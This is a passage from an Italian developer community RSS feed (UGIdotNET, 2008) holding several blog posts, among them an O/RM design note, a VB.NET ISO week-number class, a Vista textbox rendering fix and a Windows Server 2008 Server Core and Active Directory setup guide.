&lt;p&gt;La soluzione è "semplice" e consiste nel creare dei proxy per le classi del DM: Markino &lt;a href="http://blogs.ugidotnet.org/Markino/archive/2006/01/05/32476.aspx" target="_blank"&gt;ha bloggato&lt;/a&gt; già in passato (oddio, sono già passati oltre due anni... sto invecchiando!!!!) la strategia che usiamo in &lt;a href="http://www.manageddesigns.it/" target="_blank"&gt;&lt;strong&gt;Managed Designs&lt;/strong&gt;&lt;/a&gt; per produrre i proxy, e che è possibile osservare maggiormente in dettaglio analizzando il sorgente del DAL "SQL Server" di NSK: in sintesi, si tratta di definire i proxy come classi &lt;em&gt;internal&lt;/em&gt; al DAL effettuando l'override degli opportuni membri del DM e/o estendendo opportunamente quest'ultimo (per esempio, per la gestione del lock ove si usino gli "original value" e non un &lt;em&gt;timestamp&lt;/em&gt;/numero di versione della riga).&lt;/p&gt;  &lt;p&gt;Infine... Arriviamo al "punto 3": produrre codice SQL "al volo". Nell'ultimo anno ho dovuto implementare un O/RM "custom" a causa di un requisito non funzionale (ergo, il cliente chiedeva che l'applicazione usasse *esclusivamente* il FX 2.0 e quindi "nisba &lt;strong&gt;NHibernate&lt;/strong&gt; o librerie esterne"): oltretutto, mi occorrevano feature che ad oggi nemmeno NH offre, quali il mapping di entità "frammentate" (presente in NH 2 ma non in 1.2, ossia l'ultima release GA) o la possibilità di mappare il DM su database differenti (nel senso che pezzi distinti dello stesso grafo provengono da db differenti), con tutte le immaginabili conseguenze a livello di distribuzione delle transazioni in fase di persistenza. &lt;/p&gt;  &lt;p&gt;Non ho dubbi nell'affermare che sia stata una delle sfide maggiormente probanti della mia "carriera professionale" e che mi ha permesso di comprendere molto più profondamente il mondo degli O/RM rispetto a quando ero "solo" un "utente" di NH e &lt;strong&gt;Genome&lt;/strong&gt;. Ad aver tempo da "perdere", è un esperienza che consiglierei a tutti &amp;lt;g&amp;gt;&lt;/p&gt;  &lt;p&gt;Ecco, il punto 3 è un po' troppo complesso per pensare di trattarlo in un post "mattone" come questo: è il motivo per il quale ho aggiunto la sessione &lt;strong&gt;"O/RM Inside Out"&lt;/strong&gt; nella agenda dei &lt;a href="http://www.communitydays.it/events/communitydays2008milano.aspx" target="_blank"&gt;&lt;strong&gt;Community Days 2008&lt;/strong&gt;&lt;/a&gt;. Sarà una sessione praticamente "slide free" e nella quale approcceremo il mondo degli O/RM da un punto di vista differente da quello tipicamente adottato nelle sessioni dedicate a questo argomento: vi assicuro che, anche come "utenti", "dopo" non saremo più gli stessi :-)&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:7d110363-db92-47b0-947b-bcd8ee2e44ee" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tag: &lt;a href="http://technorati.com/tags/Community%20Days" rel="tag"&gt;Community Days&lt;/a&gt;,&lt;a href="http://technorati.com/tags/design%20patterns" rel="tag"&gt;design patterns&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Managed%20Designs" rel="tag"&gt;Managed Designs&lt;/a&gt;,&lt;a href="http://technorati.com/tags/NSK" rel="tag"&gt;NSK&lt;/a&gt;,&lt;a href="http://technorati.com/tags/ORM" rel="tag"&gt;ORM&lt;/a&gt;,&lt;a href="http://technorati.com/tags/query%20object" rel="tag"&gt;query object&lt;/a&gt;,&lt;a href="http://technorati.com/tags/UGIdotNET" rel="tag"&gt;UGIdotNET&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/pape/aggbug/93256.aspx" width="1" height="1" /&gt;</description><dc:creator>Andrea Saltarello</dc:creator></item><item><title>Tariffe di iPhone troppo alte?</title><link>http://blogs.ugidotnet.org/piyo/archive/2008/07/02/tariffe-di-iphone-troppo-alte.aspx</link><pubDate>Wed, 02 Jul 2008 08:43:17 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/piyo/archive/2008/07/02/tariffe-di-iphone-troppo-alte.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/piyo/comments/93255.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/piyo/comments/commentRss/93255.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/piyo/archive/2008/07/02/tariffe-di-iphone-troppo-alte.aspx#comment</comments><slash:comments>3</slash:comments><trackback:ping>http://blogs.ugidotnet.org/piyo/services/trackbacks/93255.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/piyo/rss.aspx">Tariffe di iPhone troppo alte?</source><description>&lt;p&gt;Con la ricaricabile l’iPhone costerà intorno ai 500€, sia con TIM che con Vodafone… ma con le tariffe per la navigazione internet standard l’uso “vero” dell’iPhone diventebbe impossibile: 30€ al mese per 100 ora di navigazione, ovvero poco più di 3 ore al giorno, vanne bene se in quelle 3 ore guardo le mail e navigo, ma non se lascio la connessione accesa per aspettare il push delle mail o i messaggi IM. In questo caso sarebbe meglio una tariffazione a consumo.&lt;/p&gt;  &lt;p&gt;La prima a svelare &lt;a href="http://www.appletribu.com/?p=1618" target="_blank"&gt;le tariffe degli abbonamenti è TIM&lt;/a&gt;, ma, &lt;a href="http://www.iphoneaffossato.com/comparazione-con-altre-tariffe/" target="_blank"&gt;contrariamente alle altre nazioni “&lt;em&gt;civilizzate&lt;/em&gt;”&lt;/a&gt;, in Italia si pensa solo a fare cassa: 200€ al mese per avere 5Gb di traffico o 30€ al mese per 1Gb ma senza traffico telefonico incluso (e prezzo d’acquisto di 199€) mi paiono eccessivi.&lt;/p&gt;  &lt;p&gt;E’ subito &lt;a href="http://www.iphoneaffossato.com/" target="_blank"&gt;nata quindi una petizione&lt;/a&gt; per chi, amante dell’iPhone, teme che le solite politiche lucrative delle telecom italiane siano un freno per la diffusione dell’iPhone in Italia.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Riteniamo che le attuali tariffe di TIM siano volte &lt;strong&gt;esclusivamente a fini lucrativi&lt;/strong&gt; ai danni dell'immagine che Apple ha costruito per il telefono, danneggiando la fidelizzazione dei clienti e la diffusione della piattaforma sul territorio. Siamo delusi e sconcertati perchè molti di noi dovranno rinunciare all'acquisto dell'iPhone 3G e riteniamo che questa politica affossi la diffusione del telefono in Italia, portando i cittadini italiani ad essere ancora una volta la ruota del carro mentre negli altri Paesi europei e mondiali (ben 22 dall'11 luglio) potranno beneficiarne di tutti gli aspetti del telefono.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="center"&gt;&lt;a href="http://www.iphoneaffossato.com/" target="_blank"&gt;&lt;strong&gt;Firmate la petizione&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/piyo/aggbug/93255.aspx" width="1" height="1" /&gt;</description><dc:creator>Simone Chiaretta</dc:creator></item><item><title>Disgustosa</title><link>http://blogs.ugidotnet.org/duz/archive/2008/07/02/disgustosa.aspx</link><pubDate>Wed, 02 Jul 2008 08:36:16 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/duz/archive/2008/07/02/disgustosa.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/duz/comments/93254.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/duz/comments/commentRss/93254.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/duz/archive/2008/07/02/disgustosa.aspx#comment</comments><slash:comments>7</slash:comments><trackback:ping>http://blogs.ugidotnet.org/duz/services/trackbacks/93254.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/duz/rss.aspx">Disgustosa</source><description>&lt;p&gt;Lunedì sono entrato nel C&amp;amp;C di un fornitore ed ho iniziato a cercare gli articoli che mi interessavano.&lt;/p&gt; &lt;p&gt;Nonostante la fretta e la concentrazione nel cercare i codici giusti, dopo pochi minuti la mia attenzione è stata catturata mio malgrado dalla trasmissione radiofonica che era diffusa nel locale (miiii, sto scrivendo come un post stampato! &lt;img src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/duz/2698/o_smile_regular.gif" /&gt;).&lt;/p&gt; &lt;p&gt;Mi sono soffermato, disgustato, a fare una breve valutazione: circa 6-8 parole su 10 tra quelle sentite dai vari "personaggi" al microfono erano parolacce.&lt;/p&gt; &lt;p&gt;Non mi reputo un Lord (anzi, purtroppo ne dico fin troppe di parolacce) e quindi non mi permetto di salire sul pulpito, ma quei 15 minuti di pura volgarità (compresa una canzoncina di qualche minuto di SOLE parolacce!) mi ha davvero &lt;strong&gt;disgustato&lt;/strong&gt; al punto tale da prendere solo il materiale necessario per uscire da lì e fregarmene del resto che volevo cercare.&lt;/p&gt; &lt;p&gt;Arrivo in cassa e scherzando con la persona in cassa gli dico: "Oh ma che razza di radio è? Su 10 parole, 8 son parolacce!"&lt;/p&gt; &lt;p&gt;"Si, è la radio più ascoltata d'Italia!"&lt;/p&gt; &lt;p&gt;"Ah, però... fa riflettere la cosa."&lt;/p&gt; &lt;p&gt;"Pensa che li hanno sospesi più volte ma sono talmente tante le proteste del pubblico che ogni volta li rimettono lì."&lt;/p&gt; &lt;p&gt;Non capirò mai certe cose...&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/duz/aggbug/93254.aspx" width="1" height="1" /&gt;</description><dc:creator>Mario Duzioni</dc:creator></item><item><title>[OT] Io ascolto Deezer!</title><link>http://blogs.ugidotnet.org/Markino/archive/2008/07/02/deezer.aspx</link><pubDate>Wed, 02 Jul 2008 07:52:29 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/Markino/archive/2008/07/02/deezer.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/Markino/comments/93253.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/Markino/comments/commentRss/93253.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/Markino/archive/2008/07/02/deezer.aspx#comment</comments><slash:comments>3</slash:comments><trackback:ping>http://blogs.ugidotnet.org/Markino/services/trackbacks/93253.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/Markino/rss.aspx">[OT] Io ascolto Deezer!</source><description>In questi giorni la scoperta di un nuovo sito dove ascoltare esattamente quello che vuoi ascoltare (continua).&lt;img src="http://blogs.ugidotnet.org/Markino/aggbug/93253.aspx" width="1" height="1" /&gt;</description><dc:creator>Marco Barzaghi</dc:creator></item><item><title>Lavorare a settimane</title><link>http://blogs.ugidotnet.org/ddl/archive/2008/07/02/lavorare-a-settimane.aspx</link><pubDate>Wed, 02 Jul 2008 07:26:53 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/ddl/archive/2008/07/02/lavorare-a-settimane.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/ddl/comments/93252.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/ddl/comments/commentRss/93252.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/ddl/archive/2008/07/02/lavorare-a-settimane.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/ddl/services/trackbacks/93252.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/ddl/rss.aspx">Lavorare a settimane</source><description>&lt;p&gt;Come tutti i programmatori che si misurano con schedulazioni di produzione, pianificazione delle spedizioni e chi più ne ha più ne metta mi trovo spesso a dover lavorare con le settimane al posto dei singoli giorni. Navigando un rete ho trovato questo &lt;a href="http://www.themssforum.com/Compact/Calculate-week/" target="_blank"&gt;thread&lt;/a&gt; da cui ho tratto ispirazione per la seguente classe. &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;    Public Class Week&lt;/p&gt;    &lt;p&gt;        ' Calculates the Week Number in accordance to ISO-8601     &lt;br /&gt;        Public Shared Function GetNumber(ByVal dt As DateTime) As Integer      &lt;br /&gt;            Dim year As Integer = dt.Year      &lt;br /&gt;            Dim week1 As DateTime&lt;/p&gt;    &lt;p&gt;            If dt &amp;gt;= New DateTime(year, 12, 29) Then     &lt;br /&gt;                week1 = GetWeekOneDate(year + 1)      &lt;br /&gt;                If dt &amp;lt; week1 Then      &lt;br /&gt;                    week1 = GetWeekOneDate(year)      &lt;br /&gt;                End If      &lt;br /&gt;            Else      &lt;br /&gt;                week1 = GetWeekOneDate(year)      &lt;br /&gt;                If dt &amp;lt; week1 Then      &lt;br /&gt;                    week1 = GetWeekOneDate(System.Threading.Interlocked.Decrement(year))      &lt;br /&gt;                End If      &lt;br /&gt;            End If&lt;/p&gt;    &lt;p&gt;            Return CInt((dt - week1).Days / 7 + 1)     &lt;br /&gt;        End Function&lt;/p&gt;    &lt;p&gt;        Private Shared Function GetWeekOneDate(ByVal year As Integer) As Date     &lt;br /&gt;            ' Get the date for Jan-4 for the given year      &lt;br /&gt;            Dim [date] As New Date(year, 1, 4)&lt;/p&gt;    &lt;p&gt;            ' Get the ISO-8601 day number for this date 1==Monday, 7==Sunday     &lt;br /&gt;            Dim dayNum As Integer = DirectCast([date].DayOfWeek, Integer)      &lt;br /&gt;            ' 0==Sunday, 6==Saturday      &lt;br /&gt;            If dayNum = 0 Then dayNum = 7&lt;/p&gt;    &lt;p&gt;            ' Return the date of the Monday that is less than or equal to this date     &lt;br /&gt;            Return [date].AddDays(1 - dayNum)&lt;/p&gt;    &lt;p&gt;        End Function&lt;/p&gt;    &lt;p&gt;        Public Shared Function GetStartingDay(ByVal dt As Date) As Date&lt;/p&gt;    &lt;p&gt;            Dim dayNum As Integer = DirectCast(dt.DayOfWeek, Integer)&lt;/p&gt;    &lt;p&gt;     &lt;br /&gt;            If dayNum = 0 Then dayNum = 7&lt;/p&gt;    &lt;p&gt;            Return dt.AddDays(1 - dayNum).Date&lt;/p&gt;    &lt;p&gt;        End Function&lt;/p&gt;    &lt;p&gt;        Public Overloads Shared Function ToString(ByVal dt As DateTime) As String&lt;/p&gt;    &lt;p&gt;            Return dt.Year &amp;amp; "/" &amp;amp; GetNumber(dt).ToString("00")&lt;/p&gt;    &lt;p&gt;        End Function&lt;/p&gt;    &lt;p&gt;    End Class&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Sono alle "prime armi" con la strutturazione di soluzioni .NET per cui mi scuso se la soluzione non è "pulita" &lt;img alt="" src="http://blogs.ugidotnet.org/Providers/BlogEntryEditor/FCKeditor/editor/images/smiley/msn/wink_smile.gif" /&gt;&lt;/p&gt;  &lt;p&gt;A presto un post su una struttura che permette di lavorare con intervalli tra date.&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:47873e11-67cb-497f-a137-db3f84d9a111" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tag: &lt;a href="http://technorati.com/tags/.NET" rel="tag"&gt;.NET&lt;/a&gt;,&lt;a href="http://technorati.com/tags/WeekClass" rel="tag"&gt;WeekClass&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/ddl/aggbug/93252.aspx" width="1" height="1" /&gt;</description><dc:creator>Nazareno</dc:creator></item><item><title>Testo che scompare dalle textbox multilinea in Windows Vista</title><link>http://blogs.ugidotnet.org/franx_blog/archive/2008/07/01/93251.aspx</link><pubDate>Wed, 02 Jul 2008 06:08:39 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/franx_blog/archive/2008/07/01/93251.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/franx_blog/comments/93251.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/franx_blog/comments/commentRss/93251.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/franx_blog/archive/2008/07/01/93251.aspx#comment</comments><slash:comments>2</slash:comments><trackback:ping>http://blogs.ugidotnet.org/franx_blog/services/trackbacks/93251.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/franx_blog/rss.aspx">Testo che scompare dalle textbox multilinea in Windows Vista</source><description>&lt;p&gt;Ho riscontrato in una mia applicazione uno strano comportamento. &lt;/p&gt;  &lt;p&gt;Il testo di una textbox multilinea scompariva e riappariva passandogli sopra con il mouse. Oltre ad essere multilinea aveva anche una scrollbar verticale ed era inserita in un controllo SplitContainer che a sua volta era all'interno di una TabPage. Il comportamento si verificava solo con Windows Vista.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Per riprodurre il problema è sufficiente creare una applicazione Windows Forms, mettere un TabControl, dentro ad un suo TabPage mettere uno SplitContainer, dentro ad un pannello dello SplitContainer mettere un Textbox multilinea con Scrollbar verticale. Natuaralmente bisogna essere su un sistema con &lt;a href="http://blogs.ugidotnet.org/franx_blog/archive/2008/03/30/91960.aspx" target="_blank"&gt;Windows Vista&lt;/a&gt; (su XP tutto OK...)&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/franx_blog/WindowsLiveWriter/Testochescomparedalletextboxmultilineain_7F7E/image_2.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="289" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/franx_blog/WindowsLiveWriter/Testochescomparedalletextboxmultilineain_7F7E/image_thumb.png" width="644" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;A questo punto basta mandare in esecuzione, scrivere del testo nella textbox muovere un po' il mouse ed osservare il comportamento.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Per risolvere il problema mi viene in auto questo &lt;a href="http://www.eggheadcafe.com/software/aspnet/30192366/disappearing-text-in-wind.aspx" target="_blank"&gt;post&lt;/a&gt;, in cui si suggeriscono due vie:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Impostare a &lt;span style="color: blue"&gt;False&lt;/span&gt; la proprietà UseVisualStyleBackColor del TabPage       &lt;br /&gt;      &lt;p style="margin: 0px"&gt;&lt;span style="color: blue"&gt;Me&lt;/span&gt;.TabPage1.UseVisualStyleBackColor = &lt;span style="color: blue"&gt;False          &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;Sostituire la textbox con una RichTextBox      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Impostare la proprietà Backcolor del TabPage ad un valore diverso da Trasparent (nuova soluzione indicatami da &lt;a href="http://blogs.devleap.com/riccardogualandri/default.aspx" target="_blank"&gt;Riccardo&lt;/a&gt;)&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Da notare che per la prima soluzione occorre impostare la proprietà da codice, per esempio nella load della pagina, in quanto se la si imposta dalla finestra delle proprietà del TabPage la modifica non viene recepita da Visual Studio (succederà solo a me?).&lt;/p&gt;  &lt;p&gt;Inoltre la prima soluzione funziona per l'esempio che ho proposto sopra, ma evidentemente non funziona sempre. Tant'è che per la mia applicazione originale non ha funzionato! Per cui ho adottato la seconda.&lt;/p&gt;  &lt;p&gt;Tutte le soluzioni hanno delle conseguenze grafiche, nel senso che modificano l'aspetto originale della form (nel primo caso lo sfondo del TabPage diventa grigetto, nel secondo il bordo della RichTextBox ha una profondità più marcata rispetto a quello del textbox, nel terzo si deve impostare un colore di sfondo) per cui nessuna delle tre è "perfetta". Tuttavia meglio di niente...&lt;/p&gt;  &lt;p style="font-size: 11pt; background: white; color: black; font-family: consolas; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/franx_blog/aggbug/93251.aspx" width="1" height="1" /&gt;</description><dc:creator>Francesco Geri</dc:creator></item><item><title>[OT] Ufficializzata la ROM update in Italiano per HTC Touch Diamond P3700</title><link>http://blogs.ugidotnet.org/DiegoL/archive/2008/07/02/93250.aspx</link><pubDate>Wed, 02 Jul 2008 06:58:26 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/DiegoL/archive/2008/07/02/93250.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/DiegoL/comments/93250.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/DiegoL/comments/commentRss/93250.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/DiegoL/archive/2008/07/02/93250.aspx#comment</comments><slash:comments>3</slash:comments><trackback:ping>http://blogs.ugidotnet.org/DiegoL/services/trackbacks/93250.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/DiegoL/rss.aspx">[OT] Ufficializzata la ROM update in Italiano per HTC Touch Diamond P3700</source><description>Per i fortunati possessori di HTC Diamond è appena stato rilasciato l'aggiornamento tanto atteso.&lt;br /&gt;
&lt;br /&gt;
Ora dovrebbe essere più reattivo, corro a provarlo... :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.htcblog.com/2008/07/01/ufficializzata-la-rom-update-in-italiano-per-htc-touch-diamond-p3700/" target="_blank"&gt;http://www.htcblog.com/2008/07/01/ufficializzata-la-rom-update-in-italiano-per-htc-touch-diamond-p3700/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DiegoTag Technorati: &lt;a rel="tag" href="http://technorati.com/tag/HTC%20Diamond" class="performancingtags"&gt;HTC Diamond&lt;/a&gt;&lt;img src="http://blogs.ugidotnet.org/DiegoL/aggbug/93250.aspx" width="1" height="1" /&gt;</description><dc:creator>Diego Lazzarino</dc:creator></item><item><title>Installare Windows Server 2008 Server Core con Active Directory</title><link>http://blogs.ugidotnet.org/rcappe/archive/2008/07/01/93249.aspx</link><pubDate>Tue, 01 Jul 2008 18:31:15 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/rcappe/archive/2008/07/01/93249.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/rcappe/comments/93249.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/rcappe/comments/commentRss/93249.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/rcappe/archive/2008/07/01/93249.aspx#comment</comments><slash:comments>1</slash:comments><trackback:ping>http://blogs.ugidotnet.org/rcappe/services/trackbacks/93249.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/rcappe/rss.aspx">Installare Windows Server 2008 Server Core con Active Directory</source><description>&lt;p&gt;Server Core è una nuova modalità di installazione di Windows Server 2008, che permette di installare solamente i componenti indispesabili per erogare un determitato servizio.    &lt;br /&gt;Come vantaggi abbiamo la diminuzione delle superfice d’attacco e la riduzione dei consumi a livello di memoria e di spazio su disco.     &lt;br /&gt;Questa modalità di installazione presenta una interfaccia grafica ridotta è quindi necessario configurare il sistema operativo trimite linea di comando.&lt;/p&gt;  &lt;p&gt;In questo post installeremo un Server Core e lo configureremo come servizio di Active Directory.&lt;/p&gt;  &lt;p&gt;1) Una volta inserito il cd ci compare la prima schermata di configurazione per la localizzazione&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled_2.jpg" target="_blank"&gt;&lt;img title="Untitled" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="484" alt="Untitled" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled_thumb.jpg" width="561" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;2) L’instalzione è vermente semplice&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled1_2.jpg" target="_blank"&gt;&lt;img title="Untitled1" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="484" alt="Untitled1" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled1_thumb.jpg" width="561" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;3) Ci viene chiesto il product key&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled3_2.jpg" target="_blank"&gt;&lt;img title="Untitled3" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="484" alt="Untitled3" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled3_thumb.jpg" width="561" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;4) Scegliamo la modalità di installazione Server Core &lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled4_2.jpg" target="_blank"&gt;&lt;img title="Untitled4" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="484" alt="Untitled4" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled4_thumb.jpg" width="561" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;5) Accettiamo i temini, sciegliamo la modalità di configurazione (custom) e selezioniamo il disco.    &lt;br /&gt;Una volta completata l’installazione ci troviamo difronte a una schermata che ci chiede di eseguire l’autenticazione, utiliziamo l’utente Administrator con password vuota e ci verrà subito chiesto di modificarla.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled6_2.jpg" target="_blank"&gt;&lt;img title="Untitled6" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="211" alt="Untitled6" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled6_thumb.jpg" width="244" border="0" /&gt;&lt;/a&gt;  &lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled7_2.jpg" target="_blank"&gt;&lt;img title="Untitled7" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="211" alt="Untitled7" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled7_thumb.jpg" width="244" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled8_2.jpg" target="_blank"&gt;&lt;img title="Untitled8" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="211" alt="Untitled8" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled8_thumb.jpg" width="244" border="0" /&gt;&lt;/a&gt; &lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled9_4.jpg" target="_blank"&gt;&lt;img title="Untitled9" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="211" alt="Untitled9" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled9_thumb_1.jpg" width="244" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;6) Possiamo a questo punto configurare la rete della macchina con il comando:&lt;/p&gt;  &lt;p&gt;netsh interface ip set address "Local Area Connection" static 192.168.168.200 255.255.255.0 192.168.168.201&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled11_2.jpg" target="_blank"&gt;&lt;img title="Untitled11" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="484" alt="Untitled11" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled11_thumb.jpg" width="561" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;7) Installiamo Active Directori tramite il la riga di comando &lt;b&gt;dcpromo /unattend:&lt;/b&gt;&amp;lt;percorsoDelFile&amp;gt; che utilizza un file configurazione.    &lt;br /&gt;Un possibile file potrebbe essere il seguente, maggiori informazioni sui parametri le trovate &lt;a href="http://support.microsoft.com/kb/947034/en-us" target="_blank"&gt;qui&lt;/a&gt;.    &lt;br /&gt;    &lt;br /&gt;[DCINSTALL]    &lt;br /&gt;AutoConfigDNS=Yes    &lt;br /&gt;DomainNetBiosName=RC    &lt;br /&gt;NewDomainDNSName=rc.local    &lt;br /&gt;ReplicaOrNewDomain=Domain    &lt;br /&gt;NewDomain=Forest    &lt;br /&gt;ForestLevel=3    &lt;br /&gt;DomainLevel=3    &lt;br /&gt;SafeModeAdminPassword=    &lt;br 